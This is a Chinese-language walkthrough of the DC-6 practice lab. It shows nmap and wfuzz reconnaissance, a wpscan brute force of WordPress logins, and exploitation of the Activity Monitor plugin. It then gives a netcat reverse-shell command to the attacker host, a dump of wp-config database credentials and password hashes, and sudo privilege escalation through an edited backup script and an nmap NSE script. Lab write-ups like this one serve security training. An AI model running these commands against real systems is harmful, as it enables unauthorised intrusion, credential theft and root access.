实验环境
攻击者 Kali 192.168.192.128
受害者 DC-6 IP未知
攻击者和受害者在同一网段
1. 信息收集
nmap -sn 192.168.192.0/24
受害者IP为192.168.192.171
收集受害者服务详情
nmap -sV -A 192.168.192.171
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Did not follow redirect to http://wordy/
|_http-server-header: Apache/2.4.25 (Debian)
FUZZ测试
export URL="http://192.168.192.171/FUZZ"
#模糊测试目录 排除404网页
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt --hc 404 "$URL"
#模糊测试文件 排除404网页
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt --hc 404 "$URL"
看起来是wordpress网站
nikto扫描
nikto -host=http://192.168.192.171
没有别的发现
2. 漏洞发现和利用
直接访问http服务会发现直接转到http://wordy 且无法访问
这时候我们就需要修改/etc/hosts
加入 192.168.192.171 wordy
这样就可以访问了
进入登录页面
http://wordy/wp-login.php
发现是wordpress的登录页面
我们使用wpscan来扫描网站和枚举用户
wpscan --url http://wordy -eu
尝试爆破密码
先将
admin
jens
graham
mark
sarah
加入/root/user.txt中
开始爆破
wpscan --url http://192.168.192.171 -P /usr/share/wordlists/rockyou.txt -U /root/user.txt
爆破出来mark helpdesk01
登录后台
查看Posts、comments后还是没有收获
但是我们看到了一个平常wordpress看不到的东西
Activity monitor
我们尝试一下是不是漏洞的利用点
searchsploit activity monitor
我们尝试一下最后一个
开始利用
利用成功
3. 后渗透阶段
发现输入命令 发现直接退出了 shell不完整
尝试直接用python建立也是不行 只能把shell传给攻击者了
Kali监听4444
nc -lvnp 4444
受害者传shell
nc 192.168.192.128 4444 -e /bin/bash
查看内核和版本信息
www-data@dc-6:/var/www/html$ uname -a
Linux dc-6 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64 GNU/Linux
www-data@dc-6:/var/www/html$ cat /etc/*-release
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
NAME="Debian GNU/Linux"
VERSION_ID="9"
VERSION="9 (stretch)"
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
查看网络信息
发现没有netstat命令 使用ss代替
ss -l
发现有mysql服务
查看wp-config.php页面 发现有账户名和密码
/** MySQL database username */
define( ‘DB_USER’, ‘wpdbuser’ );
/** MySQL database password */
define( ‘DB_PASSWORD’, ‘meErKatZ’ );
连接数据库
admin | $P$BDhiv9Y.kOYzAN8XmDbzG00hpbb2LA1
graham | $P$B/mSJ8xC4iPJAbCzbRXKilHMbSoFE41
mark | $P$BdDI8ehZKO5B/cJS8H0j1hU1J9t810/
sarah | $P$BEDLXtO6PUnSiB6lVaYkqUIMO/qx.3/
jens | $P$B//75HFVPBwqsUTvkBcHA8i4DUJ7Ru0
hash-identifier识别hash类型
用hashcat试着爆破一下
将几个hash写入crack.txt中
hashcat -a 0 -m 400 crack.txt /usr/share/wordlists/rockyou.txt -o cracked.txt
爆破了一下 没什么用
到家目录看一下 并且列出所有信息
cd /home
ls -lsaR
ok 有个不错的文件 看一下内容
graham – GSo7isUM1D4 我们找到这么一组用户名和密码
登录
graham@dc-6:/home/jens$ sudo -l
Matching Defaults entries for graham on dc-6:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User graham may run the following commands on dc-6:
(jens) NOPASSWD: /home/jens/backups.sh
发现我们可以用jens的身份 运行backup.sh
看一下/home./jens/backups.sh
#!/bin/bash
tar -czf backups.tar.gz /var/www/html
我们在后面加一条/bin/bash
echo "/bin/bash" >> backups.sh
运行
sudo -u jens /home/jens/backups.sh
我们都知道nmap有个交互式 可以提权
但是查看nmap版本发现版本太高了 用交互式选项得在2.02-5.21才行
我回顾了以前的笔记
这个笔记说了 nmap可以运行脚本
Nmap scripting engine NSE
Google了一下写法
写入一个.nse文件
echo "os.execute('/bin/bash')" > /tmp/root.nse
nmap调用脚本
sudo /usr/bin/nmap --script /tmp/root.nse
提权成功